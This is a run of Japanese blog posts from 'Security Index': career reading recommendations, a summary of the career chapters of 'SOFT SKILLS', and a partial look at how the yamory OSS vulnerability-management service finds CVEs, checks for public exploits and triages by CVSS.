<p>しかし、実際は最良かどうかの判断を行うときに世の中にあるテク<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%CE%A5%ED">ノロ</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B8%A1%BC">ジー</a>を十分に調べて比較して選んでいる訳ではない。</p> <p>自分が知っているものの中から選び、これが一番良いものだと思い込む。</p> <p> </p> <h4 id="選択肢を制限しない">選択肢を制限しない</h4> <blockquote> <p>すべてのテク<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%CE%A5%ED">ノロ</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B8%A1%BC">ジー</a>が偉大だというわけではないが、広く普及しているテク<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%CE%A5%ED">ノロ</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B8%A1%BC">ジー</a>の大半は、少なくとも「いい」。</p> <p>少なくともいいと言えるものでなければ、成功して広く知られたり使われたりするようになるのは難しい。</p> <p>もちろん、時間とともに状況は変わっていく。</p> </blockquote> <p> </p> <p>自分が使っているテク<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%CE%A5%ED">ノロ</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B8%A1%BC">ジー</a>が常にどんな場面でも最良である、と思わずにもう少し寛容的な立場をとるのはどうだろうか。</p> <p>寛容な心でいれば、新しいテク<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%CE%A5%ED">ノロ</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B8%A1%BC">ジー</a>ともっと接することができ、より多くのチャンスも手に入れることができるようになる。</p> <p> </p> <h3 id="参考"> 参考</h3> <h4 id="TED-メグジェイ-30歳は昔の20歳ではありません"> <br />TED メグ・ジェイ 30歳は昔の20歳ではありません</h4> <p><iframe src="https://embed.ted.com/talks/lang/ja/meg_jay_why_30_is_not_the_new_20" width="560" height="316" frameborder="0" scrolling="no" allowfullscreen=""></iframe><cite class="hatena-citation"><a href="https://www.ted.com/talks/meg_jay_why_30_is_not_the_new_20?language=ja">www.ted.com</a></cite></p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%BF%CD%C0%B8100%C7%AF">人生100年</a>時代とよく言われ、30代もかなり若いと言われています。</p> <p>だからと言って20代の時間を無駄にしても30代で全て取り戻せる時代になった、というわけではありません。</p> <p>自分はまだ若い、と考えていると物事を先送りにしがちですが、あるとき自分はもう若くないと自覚した瞬間から新しくことへのチャレンジを辞めてしまう傾向にある気がします。</p> <p>「若いとき」と「若くないとき」の中間のベストな時期というのを実感するのは、そのベストな時期が過ぎた後に気がつきます。</p> <p>何事も先送りにせず、悲観的にもなり過ぎずに自分の人生を一歩進めることの大切さを改めて思い出されます。</p> <p> </p> <h4 id="不格好経営-南場智子"><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C9%D4%B3%CA%B9%A5%B7%D0%B1%C4">不格好経営</a> <a class="keyword" href="http://d.hatena.ne.jp/keyword/%C6%EE%BE%EC%C3%D2%BB%D2">南場智子</a></h4> <p><a href="https://amzn.to/2MqfI7b"><img class="hatena-fotolife" title="f:id:security_index:20191017171743j:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191017/20191017171743.jpg" alt="f:id:security_index:20191017171743j:plain" /></a></p> <p><br /> <a class="keyword" href="http://d.hatena.ne.jp/keyword/DeNA">DeNA</a>が起業から現在までどのような過程があったのかが面白く書かれた本です。</p> <p>具体的な起業の方法などではなく、起業するとどのような体験をしどのように感じたのか、というところにフォーカスが当たっているので、南場さんのマインドを感じることができます。</p> <p><a href="https://amzn.to/2qlw9sM">不格好経営 南場智子</a></p> <p> </p> <h4 id="社長失格-板倉-雄一郎">社長失格 板倉 雄一郎</h4> <p><a href="https://amzn.to/33BxXvX"><img class="hatena-fotolife" title="f:id:security_index:20191017172556j:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191017/20191017172556.jpg" alt="f:id:security_index:20191017172556j:plain" /></a></p> <p><br />「<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C9%D4%B3%CA%B9%A5%B7%D0%B1%C4">不格好経営</a>」を成功談だとすると、こちらは失敗談。</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C9%D4%B3%CA%B9%A5%B7%D0%B1%C4">不格好経営</a>の中でこの本が登場し気になって購入しましたが、IT<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D9%A5%F3%A5%C1%A5%E3%A1%BC">ベンチャー</a>の浮き沈みを感じることのできる本です。</p> <p>やはり成功談よりも失敗談の方が学べることが多く、なぜ失敗したのかを考えたときに社長の考え方による部分が大きいと感じます。</p> <p>起業初めのときに必要なマインド、会社を大きくしていくときに必要なマインドなど、その時その時に求められるものが少し変わるのでそれに合わせて変えていく部分も必要なのかもしれないと考えさせられました。</p> <p><a href="https://amzn.to/33BxXvX">社長失格 板倉 雄一郎</a></p> <p> </p> <p> </p> <p><a href="https://amzn.to/2oEhnN6">SOFT SKILLS ソフトウェア開発者の人生マニュアル</a></p> <p> </p> <p>同じ作者の新しい本「<a href="https://amzn.to/35xWDre">CAREER SKILLS ソフトウェア開発者の完全キャリアガイド</a>」</p> <p> </p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Twitter">Twitter</a> アカウント</p> <p><a href="https://twitter.com/security_index">Security Index (@security_index) | Twitter</a></p> security_index SOFT SKILLS ソフトウェア開発者の人生マニュアル まとめ その1 キャリア編 hatenablog://entry/26006613448444330 2019-10-15T20:57:07+09:00 2019-10-27T21:06:54+09:00 ソフトウェアエンジニアのための「技術」ではなく、キャリアや学習方法、生産性、メンタルに関してなど、ソフトウェアエンジニアがより良い人生を歩めるようになるための本「SOFT SKILLS ソフトウェア開発者の人生マニュアル」についていくつか紹介します。 ソフトウェアエンジニアではなくセキュリティエンジニアなどであっても同様に使える内容となっています。 <p>ソフトウェアエンジニアのための「技術」ではなく、キャリアや学習方法、生産性、メンタルに関してなど、ソフトウェアエンジニアがより良い人生を歩めるようになるための本「<a href="https://amzn.to/2oEhnN6">SOFT SKILLS ソフトウェア開発者の人生マニュアル</a>」についていくつか紹介します。</p> <p> </p> <p>ソフトウェアエンジニアではなくセキュリティエンジニアなどであっても同様に使える内容となっています。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191015210531p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191015/20191015210531.png" alt="f:id:security_index:20191015210531p:plain" /></p> <p> </p> <ul class="table-of-contents"> <li><a href="#ソフトウェア開発のキャリアを事業として考える">ソフトウェア開発のキャリアを事業として考える</a></li> <li><a href="#面接をハッキングするコツ">面接をハッキングするコツ</a></li> <li><a href="#雇用形態">雇用形態</a><ul> <li><a href="#従業員">従業員</a></li> <li><a href="#独立系コンサルタント">独立系コンサルタント</a></li> <li><a href="#アントレプレナー">アントレプレナー</a></li> </ul> </li> <li><a href="#あなたはどのタイプのソフトウェア開発者か">あなたはどのタイプのソフトウェア開発者か</a></li> <li><a href="#会社の規模による違い">会社の規模による違い</a><ul> <li><a href="#小さな会社とスタートアップ">小さな会社とスタートアップ </a><ul> <li><a href="#どのような人に合うか">どのような人に合うか</a></li> </ul> </li> <li><a href="#中規模の企業">中規模の企業</a><ul> <li><a href="#どのような人に合うか-1">どのような人に合うか</a></li> </ul> </li> <li><a href="#大企業">大企業</a><ul> <li><a href="#どのような人に合うか-2">どのような人に合うか</a></li> </ul> </li> </ul> </li> <li><a href="#参考">参考</a><ul> <li><a href="#Qiita-まつもとゆきひろ氏特別講演20代エンジニアのためのプログラマー勉強法のまとめ-2019330">Qiita 「【まつもとゆきひろ氏 特別講演】20代エンジニアのためのプログラマー勉強法のまとめ 2019/3/30」</a></li> <li><a href="#TED-How-to-find-work-you-love">TED 「How to find work you love」</a></li> </ul> </li> </ul> <h3 id="ソフトウェア開発のキャリアを事業として考える">ソフトウェア開発のキャリアを事業として考える</h3> <p> </p> <blockquote> <p>自分自身の業績とはあまり関係のない「いつもの給料」をもらうことに慣れてしまうと、自分は会社の従業員に過ぎないという<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%DE%A5%A4%A5%F3%A5%C9%A5%BB%A5%C3%A5%C8">マインドセット</a>に簡単に染まってしまう。</p> <p>一時的なキャリアとして、あなたが特定の会社の従業員であることに間違いはないかもしれないが、そのときの肩書が自分や自分のキャリアを表していると考えないことが大切だ。</p> </blockquote> <p> </p> <p>まず初めの一歩として、自分はただの会社の従業員だという考え方を改めることが必要になる。</p> <p>事業として考えることで、他のソフトウェアエンジニアとどう違うのかを伝える必要性や専門性を磨くことを考えるようになる。</p> <p> </p> <p>事業として考えるようになったら、次にやるべきことはビジネスの目標を決める。</p> <p>しかし、多くのエンジニアは目標をはっきりとさせない、長期的なビジョンを立てることを恐れている、なぜだろうか。</p> <p> </p> <blockquote> <p>どれかひとつの道を選んでその道をずんずん進むのが恐いため、あらゆるオプションを選べるように残しておきたいのだ。</p> <p>選んで道が間違っていたら、どうしよう。</p> <p>行った先が気に入らなかったら、どうしよう。</p> <p>実際、これは恐ろしい問いではある。</p> </blockquote> <p> </p> <p>ひとつの道を選び間違えることは恐いが、専門性を身につけるためには必要なこと。</p> <p>間違えたらまたやり直せばいい。</p> <p> </p> <p>目標の設定の方法は、大きな目標とその目標を達成するための小さな目標を決める。</p> <p>設定した目標は定期的に見直して再設定する。</p> <p>毎日見える所に大きな目標を貼っておき、常に思い出すのも良い。</p> <p> </p> <h3 id="面接をハッキングするコツ">面接をハッキングするコツ</h3> <p>最初に入社した会社があなたにとってベストな会社である可能性は低い。</p> <p>また、自分の目標が変わったことで会社を変える必要性も出てくるかもしれない。</p> <p>その時に、自分の入りたい会社に入れるようにするための技術も必要になる。</p> <p> </p> <p>ベストなシナリオとしては、以下のようなものではないだろうか。</p> <p> </p> <blockquote> <p>面接官と握手すると、面接官があなたを見たあと、一瞬、間をおいてあなたを認識し、顔をほころばせる。</p> <p>「ああ、あなたのことは知っていますよ。ブログで写真を見ていますからね。あなたのブログポストはずいぶん読んでいますよ」</p> </blockquote> <p> </p> <p>もちろん、 ベストなシナリオなのでこのようなケースは難しい。</p> <p>ここで重要なことは、多くの応募者の中で合格するためには技術的な要因だけでなく、面接官に気に入ってもらえるかどうか、という点も重要であるということである。</p> <p>面接が始まる前に多くのできることがある。</p> <p> </p> <h3 id="雇用形態">雇用形態</h3> <p>多くのエンジニアは会社の従業員であるが、それ以外のキャリアもある。</p> <p>どのような選択肢があるのかを理解することで、将来の方向性を具体的に考えられるようになる。</p> <p> </p> <h4 id="従業員">従業員</h4> <p>メリット:安定、有給休暇</p> <p>デメリット:自由が少ない、収入が頭打ち</p> <p>道筋がはっきりとしているため、他の選択肢よりも選びやすいのも真実。</p> <p> </p> <h4 id="独立系コンサルタント">独立系<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B3%A5%F3%A5%B5%A5%EB%A5%BF%A5%F3%A5%C8">コンサルタント</a></h4> <p>自分の会社を持っていて、クライアントと契約を結ぶが、特定のクライアントに縛られたりしない。</p> <p>メリット:自由度が増える、収入が増える可能性がある</p> <p>デメリット:自分で仕事を探すなどの負担が増える</p> <p>独立系<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B3%A5%F3%A5%B5%A5%EB%A5%BF%A5%F3%A5%C8">コンサルタント</a>になることで、誰かの下につくことなく自分が自分の上司になれると思うかもしれないが、場合によって上司が一人からたくさんになるだけかもしれない。</p> <p>しかし、時間の使い方は自由になり、自分でどの仕事をするかの選択もできる。</p> <p> </p> <h4 id="アントレプレナー"><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A2%A5%F3%A5%C8%A5%EC%A5%D7%A5%EC%A5%CA%A1%BC">アントレプレナー</a></h4> <p>ソフトウェア開発者が選べるキャリアとしてもっとも難しく、もっとも<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C9%D4%C4%EA">不定</a>形で、もっとも高収入が得られる可能性があり、プロのギャンブラーになるのと同じようなものとも言える。</p> <p>ここでのソフトウェア開発者の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A2%A5%F3%A5%C8%A5%EC%A5%D7%A5%EC%A5%CA%A1%BC">アントレプレナー</a>は、独自の事業か製品を開発している人を指している。</p> <p>メリット:完全な自由、大儲けの可能性、やりたい仕事ができる、上司がいない</p> <p>デメリット:とてもリスキー、完全に自己責任、ソフトウェア開発以外に非常に多くのスキルが必要、仕事に非常に多くの時間が取れる可能性</p> <p> </p> <h3 id="あなたはどのタイプのソフトウェア開発者か">あなたはどのタイプのソフトウェア開発者か</h3> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B9%A5%DA%A5%B7%A5%E3">スペシャ</a>リストになることが重要。</p> <p>ジェネラリストになれば、クライアントの枠が大きくなるように見えるかもしれない。</p> <p>しかし、実際には<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B9%A5%DA%A5%B7%A5%E3">スペシャ</a>リストが必要だということを知らないくらい事情に疎い人々しか、クライアントにならない。</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B9%A5%DA%A5%B7%A5%E3">スペシャ</a>リストになると確かにチャンスは減る(クライアントの絶対数は減る)が、チャンスを獲得する可能性は高くなる。</p> <p> </p> <h3 id="会社の規模による違い">会社の規模による違い</h3> <p>会社の選択時に給料だけを見てしまうことがあるが、長い目で見た場合には職場環境が重要な意味を持ってくる。 </p> <h4 id="小さな会社とスタートアップ">小さな会社とスタートアップ </h4> <p>小さな会社ではコードを書いていれば良いというわけにはいかず、様々な役割を演じなければならないことが多い。</p> <p>職務の定義が曖昧になりがちなので柔軟な対応が求められる。</p> <p> </p> <h5 id="どのような人に合うか">どのような人に合うか</h5> <p>・いつも新しい課題に挑戦していたタイプには合う可能性が高い。</p> <p>・また、自分が行ったことの会社への影響が大きくなり、自分の仕事の貢献が直接わかる。影響が目に見える方が好きな人には小さな会社がよい場所になる。</p> <p> </p> <p> </p> <p>安定性は大企業よりも大きく劣り、給料が払えなくなる可能性もあれば、大きな報酬が貰えるようになる可能性もある。</p> <p>ただし、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B9%A5%C8%A5%C3%A5%AF%A5%AA%A5%D7%A5%B7%A5%E7%A5%F3">ストックオプション</a>でお金持ちになれるかも、という期待だけでスタートアップを選ぶことはお勧めしない、燃え尽きてしまうだけになる可能性が高い。</p> <p> </p> <blockquote> <p>ペースが早くテンションが上がる環境が好きで、何かを作り上げるための一員になり、それが成長するのを見てみたいという理由で、小企業やスタートアップを選ぶ方がいい。</p> </blockquote> <p>  </p> <h4 id="中規模の企業">中規模の企業</h4> <p>中規模の企業では、小企業よりも職務がはっきりし、大企業よりも安定しているとも言える。</p> <p> </p> <blockquote> <p>大企業は大規模な人員削減を行ったり、定期的に組織変更をしたちすることが多いので、中企業の方が大企業よりも安定しているとさえ言えるかもしれない。</p> <p>安定性を求めるなら、中企業がもっとも合っているだろう。</p> </blockquote> <p> </p> <p>(※ 海外の本であるためにこのような記述が書かれ、現在では日本の大企業も人員削減を行うことは稀にある。しかし、日本ではまだまだ大企業の方が安定していると私は思う。) </p> <p> </p> <h5 id="どのような人に合うか-1">どのような人に合うか</h5> <p>・じっくり堅実なタイプの方が評価されやすく合っていると言える</p> <p> ・最先端の仕事がしたいという人には合わない。中企業ではリスクを取りにくいためだ。</p> <p> </p> <h4 id="大企業">大企業</h4> <p> </p> <blockquote> <p>大企業は面白い存在だ。個々の大企業は、お互いに大きく異なる。たいていの大企業には、会社のあらゆる側面に浸透している非常に深い企業文化がある。</p> </blockquote> <p> </p> <h5 id="どのような人に合うか-2">どのような人に合うか</h5> <p>・大企業では決められた手続きが多く、確立された仕事のやり方に従う必要がある。そのような環境が好きな人は楽しく働くことができる。</p> <p>・ 自分の貢献を感じにくい部分があり、不満を持ちやすい環境であるため、大きなプロジェクトの一部分しか関わらなくても満足できるという人には合うと思われる。</p> <p> </p> <p>大企業では人の目につかないようにし、サボることも容易である。</p> <p>(大企業で働いたことのある人であれば同意できると思う)</p> <p> </p> <blockquote> <p>大企業については、最後にひとこと触れておかなければならないことがある。</p> <p>政治だ。</p> <p>大企業には、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C2%E7%A4%AD%A4%CA%C0%AF%C9%DC">大きな政府</a>に匹敵するほどの複雑な政治システムがあることが多い。</p> </blockquote> <p> </p> <p>エンジニアの多くが政治は嫌い、苦手で避けたいと感じていると思う。</p> <p>避けることも可能ではあるが、</p> <p> </p> <blockquote> <p>大企業の出世階段を上るには、会社のなかの複雑な政治的環境を泳ぎ渡る方法を学ばなければならないはずだ。</p> <p>政治的な動きが苦手で完全に避けたいと思っているなら、フラットな管理構造を持つ小企業を探すといい。</p> </blockquote> <p> </p> <p> </p> <p>上記はあくまで一般的な話で、各会社ごとに独自の文化がある。</p> <p>もし、就職先を選ぶのであれば、実際に中で働くエンジニアに話を聞き確かめる必要がある。</p> <p> </p> <h3 id="参考">参考</h3> <h4 id="Qiita-まつもとゆきひろ氏特別講演20代エンジニアのためのプログラマー勉強法のまとめ-2019330">Qiita 「【<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A4%DE%A4%C4%A4%E2%A4%C8%A4%E6%A4%AD%A4%D2%A4%ED">まつもとゆきひろ</a>氏 特別講演】20代エンジニアのための<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%ED%A5%B0%A5%E9%A5%DE%A1%BC">プログラマー</a>勉強法のまとめ 2019/3/30」</h4> <p><iframe class="embed-card embed-webcard" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" title="【まつもとゆきひろ氏 特別講演】20代エンジニアのためのプログラマー勉強法のまとめ 2019/3/30 - Qiita" src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fqiita.com%2Fmotoki4917%2Fitems%2F40386dd7fbd70987cc1d" frameborder="0" scrolling="no"></iframe><cite class="hatena-citation"><a href="https://qiita.com/motoki4917/items/40386dd7fbd70987cc1d">qiita.com</a></cite></p> <p> </p> <p>こちらもエンジニアとしてどう過ごすべきかが書かれています。</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Ruby">Ruby</a>の開発者<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A4%DE%A4%C4%A4%E2%A4%C8%A4%E6%A4%AD%A4%D2%A4%ED">まつもとゆきひろ</a>さんの講演をまとめたものとなっています。</p> <p>(SOFT SKILLSの巻末にもまつもとさんの解説が短いですがあります)</p> <p> </p> <p> </p> <h4 id="TED-How-to-find-work-you-love">TED 「How to find work you love」</h4> <p><iframe src="https://embed.ted.com/talks/scott_dinsmore_how_to_find_work_you_love" width="560" height="316" frameborder="0" scrolling="no" allowfullscreen=""></iframe><cite class="hatena-citation"><a href="https://www.ted.com/talks/scott_dinsmore_how_to_find_work_you_love">www.ted.com</a></cite></p> <p> </p> <p>今の仕事に不満がある、自分が本当にやりたいことが他にあるのでは、と思った時に見ると良い動画。</p> <p>新しい仕事を始めようかなと思わされます。 </p> <p> </p> <p> </p> <p><a href="https://amzn.to/2oEhnN6">SOFT SKILLS ソフトウェア開発者の人生マニュアル</a></p> <p> </p> <p>同じ作者の新しい本「<a href="https://amzn.to/35xWDre">CAREER SKILLS ソフトウェア開発者の完全キャリアガイド</a>」</p> <p> </p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Twitter">Twitter</a> アカウント</p> <p><a href="https://twitter.com/security_index">Security Index (@security_index) | Twitter</a></p> security_index ビズリーチのOSS 脆弱性管理サービス yamoryについて調査 どんなことができて、どう実現されているのか hatenablog://entry/26006613449311497 2019-10-14T17:12:43+09:00 2020-02-08T09:20:52+09:00 ビズリーチより8月27日にGithubのリポジトリからオープンソース(OSS)の脆弱性を発見、管理できるようにするWebアプリケーション「yamory」が発表された。 どんな機能があり、どんなことができるのか、どう実現されていそうかなどについて説明します。 また、今後このような機能があれば良くなりそうか考えて見ました。 (2019/10/27 追記) 無料トライアルが開始され、レビュー記事を書きました。 以下の記事も一緒にどうぞ。 ビズリーチのOSS 脆弱性管理サービス yamory 無料トライアル 使ってみた 他のツールとの比較などのレビュー - Security Index <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D3%A5%BA%A5%EA%A1%BC%A5%C1">ビズリーチ</a>より8月27日に<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>から<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AA%A1%BC%A5%D7%A5%F3%A5%BD%A1%BC%A5%B9">オープンソース</a>(<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>)の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を発見、管理できるようにするWebアプリケーション「<a href="https://yamory.io/">yamory</a>」が発表された。</p> <p> </p> <p>どんな機能があり、どんなことができるのか、どう実現されていそうかなどについて説明します。</p> <p>また、今後このような機能があれば良くなりそうか考えて見ました。</p> <p> </p> <p>(2019/10/27 追記)</p> <p>無料トライアルが開始され、レビュー記事を書きました。</p> <p>以下の記事も一緒にどうぞ。</p> <p><a href="https://security-index.hatenablog.com/entry/2019/10/27/210000">ビズリーチのOSS 脆弱性管理サービス yamory 無料トライアル 使ってみた 他のツールとの比較などのレビュー - Security Index</a></p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191014153640p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191014/20191014153640.png" alt="f:id:security_index:20191014153640p:plain" /></p> <ul class="table-of-contents"> <li><a href="#yamoryの主な機能">yamoryの主な機能</a></li> <li><a href="#脆弱性を見つける">脆弱性を見つける</a><ul> <li><a href="#OSSの特定">OSSの特定</a></li> <li><a href="#脆弱性の特定">脆弱性の特定</a></li> <li><a href="#脆弱性のトリアージ対応優先度付け">脆弱性のトリアージ(対応優先度付け)</a></li> </ul> </li> <li><a href="#チームで脆弱性を管理する">チームで脆弱性を管理する</a><ul> <li><a href="#チーム管理">チーム管理</a></li> <li><a href="#脆弱性通知">脆弱性通知</a></li> </ul> </li> <li><a href="#その他">その他</a><ul> <li><a href="#利用ソフトウェアの管理">利用ソフトウェアの管理</a></li> </ul> </li> <li><a href="#追加機能の提案">追加機能の提案</a><ul> <li><a href="#脆弱性情報の拡張">脆弱性情報の拡張</a></li> <li><a href="#OSSの脆弱性管理以外も対応">OSSの脆弱性管理以外も対応</a></li> <li><a href="#マシンリーダブルな出力">マシンリーダブルな出力</a></li> <li><a href="#毎日利用されるような機能の追加">毎日利用されるような機能の追加</a></li> <li><a href="#OSS以外のセキュリティにも対応">OSS以外のセキュリティにも対応</a></li> <li><a href="#ライセンスの特定">ライセンスの特定</a></li> </ul> </li> <li><a href="#参考">参考</a><ul> <li><a href="#yamoryのプロダクトオーナーに聞くビズリーチがサイバーセキュリティの分野に進む理由">yamoryのプロダクトオーナーに聞く、ビズリーチがサイバーセキュリティの分野に進む理由</a></li> </ul> </li> </ul> <h3 id="yamoryの主な機能">yamoryの主な機能</h3> <p>yamoryの主な機能は以下の3つ。</p> <p>・<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を見つける</p> <p>・<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>に対応する</p> <p>・チームで<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を管理する</p> <p> </p> <h3 id="脆弱性を見つける"><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を見つける</h3> <p>yamoryの中で技術的なメインの部分はこの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を見つけ、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%EA%A5%A2%A1%BC%A5%B8">トリアージ</a>(優先度付け)を行う部分である。</p> <p>ここでは、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>をスキャンし、そこで使われている<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>の名前とバージョンを特定し、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を洗い出している。</p> <p> </p> <h4 id="OSSの特定"><a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>の特定</h4> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>特定にはパッケージ管理ツールの情報を利用している。</p> <p>具体的は、各言語毎に提供されているGradle(<a class="keyword" href="http://d.hatena.ne.jp/keyword/Java">Java</a>)のbuild.gradl、npm(Node.js)のpackage.<a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a>、pip(<a class="keyword" href="http://d.hatena.ne.jp/keyword/python">python</a>)のrequirements.txtなどから<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>の特定を行っている。</p> <p> </p> <p>以下の画像は公式サイトの<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>スキャン後の画面である。</p> <p>スキャンで発見できたマニュフェストファイルの一覧が表示されている。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191014155427p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191014/20191014155427.png" alt="f:id:security_index:20191014155427p:plain" /></p> <h4 id="脆弱性の特定"><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の特定</h4> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>の名前とバージョンがわかった後に実際にどんな<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>がそこにあるのか特定する必要がある。</p> <p>この部分に関して公式サイトではどのように行っているかの説明は書かれていない。</p> <p>しかし、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を特定した後に得られる情報(<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%EA%A5%A2%A1%BC%A5%B8">トリアージ</a>に利用する情報)として</p> <p>・「危険な<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>」CVSSでCritical or Highかどうか(つまりCVSSのスコアが7以上)</p> <p>・「攻撃コード(PoC)あり」攻撃コードがあるかどうか</p> <p>・「公開サービス」</p> <p>の3つがある。</p> <p>上の2つから、ここでいう<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>はCVEが振られているものだと予想できる。</p> <p>(CVSSについての説明は<a class="keyword" href="http://d.hatena.ne.jp/keyword/IPA">IPA</a>の<a href="https://www.ipa.go.jp/security/vuln/CVSSv3.html">こちら</a>のページがおすすめです)</p> <p> </p> <p>そうであるならば、<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>の名前とバージョンからCVEを特定する方法はそこまで難しくない。</p> <p><a href="https://github.com/future-architect/vuls">Vuls</a>という<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>スキャナで利用されている<a href="https://github.com/kotakanbe/go-cve-dictionary">go-cve-dictionary</a>などを使ってNVDのCVEのデータベースを取得することで実現できる。</p> <p>2つとも<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>で公開されている。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191014160654p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191014/20191014160654.png" alt="f:id:security_index:20191014160654p:plain" /></p> <p> </p> <p>また、「攻撃コード(PoC)あり」に関してもCVEが特定できているのであれば、<a href="https://www.exploit-db.com/">exploit-db</a>というKali <a class="keyword" href="http://d.hatena.ne.jp/keyword/Linux">Linux</a>で有名なOffensive Securityが提供しているものを使えば実現できる。</p> <p>こちらも<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>で公開されている<a href="https://github.com/vulsio/go-exploitdb">go-exploitdb</a>を使えば、exploid DBの情報を取得し、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B3%A5%DE%A5%F3%A5%C9%A5%E9%A5%A4%A5%F3">コマンドライン</a>からCVE検索できるようになる。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191014161145p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191014/20191014161145.png" alt="f:id:security_index:20191014161145p:plain" /></p> <p> </p> <h4 id="脆弱性のトリアージ対応優先度付け"><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%EA%A5%A2%A1%BC%A5%B8">トリアージ</a>(対応優先度付け)</h4> <p>先ほども書いた3つの評価軸「危険な<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>」「攻撃コード(PoC)あり」「公開サービス」を使って優先順位付けを行う。</p> <p>この優先度付けは難しいロジックを使っている訳でないが、とても良いと感じている。</p> 